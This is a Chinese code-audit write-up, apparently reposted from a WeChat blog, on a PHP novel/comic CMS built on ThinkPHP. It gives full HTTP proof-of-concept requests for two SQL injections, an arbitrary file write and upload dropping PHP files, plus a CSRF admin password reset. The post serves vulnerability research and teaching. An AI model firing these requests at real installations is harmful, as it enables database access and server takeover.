最近因为二期公开课原因开始复习PHP代码审计,搞了几套源码由简到难审审,水水文章
项目介绍环境搭建代码审计 系统架构分析 前台SQL注入 第一处 第二处 前台任意文件写入 前台任意文件上传 CSRF管理员密码重置最后
项目介绍
专为微信公众号打造的小说漫画系统源码,集成了小说阅读与漫画功能,助力快速构建个性化阅读平台。本源码支持无缝对接公众号,轻松实现APP打包,同时配置个人微信收款接口,提升变现能力。功能丰富,包含强大内容管理与用户交互设计,为读者提供沉浸式阅读体验,是搭建综合阅读服务平台的理想选择
环境搭建
项目下载地址在文章末尾
我本地采用小皮面板搭建,对应配置
在php.ini中开启openssl扩展
修改数据配置文件: ApplicationCommonConfdb.php
创建对应数据库并导入sql文件
后台地址:http://域名/efucms.php
账号密码:admin 123456
代码审计
系统架构分析
项目源码采用thinkphp3.2.3二开,看下目录结构
在公开课的时候我也提到了,thinkphp框架通常我们能访问到的方法或文件就是根目录下的文件,Public(静态资源目录),还有Application目录下存在Controller的几个目录
那么我们在审计的时候使用phpstorm就可以限定目录搜索
这样就可以避免搜出框架底层的代码或者我们访问不到的方法或者文件
前台SQL注入
第一处
对应文件:fabu_xiaoshuo.php
在第99行定义了query执行的sql语句,这里直接拼接bookname变量,跟踪变量
在16行通过POST获取
过程中没有发现过滤和数据处理,那么这里存在漏洞
测试POC:
POST /fabu_xiaoshuo.php HTTP/1.1Host: 192.168.242.1:998User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=ogcads1p7ropr8jt09dd4bp961Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedbookname=123' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- '
第二处
这个是公开课直播的时候现场挖的,也是回顾了下thinkphp数据库查询接口的危险写法
对应文件:Application/Home/Controller/AliWapController.class.php
在第43行,在使用框架提供的查询方法时没有使用参数绑定的写法,而是直接拼接,跟踪下$out_trade_no
在23行通过POST接收
过程中没有额外过滤和数据处理,存在注入
测试POC:
POST /index.php?a=notifyurl&c=AliWap&m=Home HTTP/1.1Host: wxxiaoshuo:998Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=f3acjgva5lk3gstihpc3iqtgl0Content-Type: application/x-www-form-urlencodedContent-Length: 27trade_status=trade_status&out_trade_no=123") AND (SELECT 1 FROM (SELECT SLEEP(5))a)#
前台任意文件写入
对应文件:Application/Home/Controller/MhController.class.php
在第1394行使用了file_put_contents()函数进行文件写入,跟踪下$new_file和$base64_image_content
$base64_image_content在1369行通过POST $img参数获取,$new_file在上面通过$uploadFolder .和$filename拼接,我们关注$filename的生成的后缀,这里拼接的是$type
$type在1385行通过获取$result[2],我们看下$result,在1375行通过正则表达式匹配$base64_image_content获取
如果匹配成功,$result 数组内容为:
- $result[0]:完整匹配的字符串(如 data:image/png;base64,)。
- $result[1]:第一个捕获组,同 $result[0](因外层括号)。
- $result[2]:第二个捕获组,即图片格式(如 png)
那么这里也就是说文件后缀我们可控,这里没有对后缀进行校验
在1374行有个判断,会校验我们传入的img的长度和len的值是否相同,这里如果是上传文件后改数据包可能会过不去这段代码,要注意
测试POC:
POST /index.php?m=&c=Mh&a=upload_64 HTTP/1.1Host: 192.168.242.1:998User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.242.1:998Accept-Language: zh-CN,zh;q=0.9Accept: */*Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: PHPSESSID=38ia7j4ecfhd1d0ruuaiucgkj6; uloginid=795603Content-Length: 1289img=data:image/php;base64,Y2FpZ288P3BocCBwaHBpbmZvKCk7Pz4=&size=54&user_id=603
访问文件
前台任意文件上传
对应文件:Public/webuploader/0.1.5/server/fileupload2.php
代码中有两种文件上传方式
- 表单上传:请求头包含 Content-Type: multipart/form-data
- 二进制流上传:请求头通常是 Content-Type: application/octet-stream
这里我们用表单提交
这里检测是否有提交文件,如何进行些简单判断,例如文件提交方式检测,这里没有检测文件后缀,然后通过fwrite写入文件内容,那么这里存在任意文件上传
测试数据包
POST /Public/webuploader/0.1.5/server/fileupload2.php HTTP/1.1Host: 192.168.242.1:998User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Content-Type: multipart/form-dataOrigin: http://192.168.242.1:998Accept-Language: zh-CN,zh;q=0.9Accept: */*Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: PHPSESSID=38ia7j4ecfhd1d0ruuaiucgkj6; uloginid=795603Content-Length: 1289------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="caigosec5.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--
文件保存路径:Publicwebuploader�.1.5serverupload
CSRF管理员密码重置
黑盒测试的,登入网站后台,发现管理员修改密码的功能点不需要原密码,于是测试一手csrf
修改密码拦截数据包
生成CSRF_POC,放到服务器上
模拟管理员点击
成功修改
最后
原文始发于微信公众号(菜狗安全):PHP代审之微信公众号小说系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论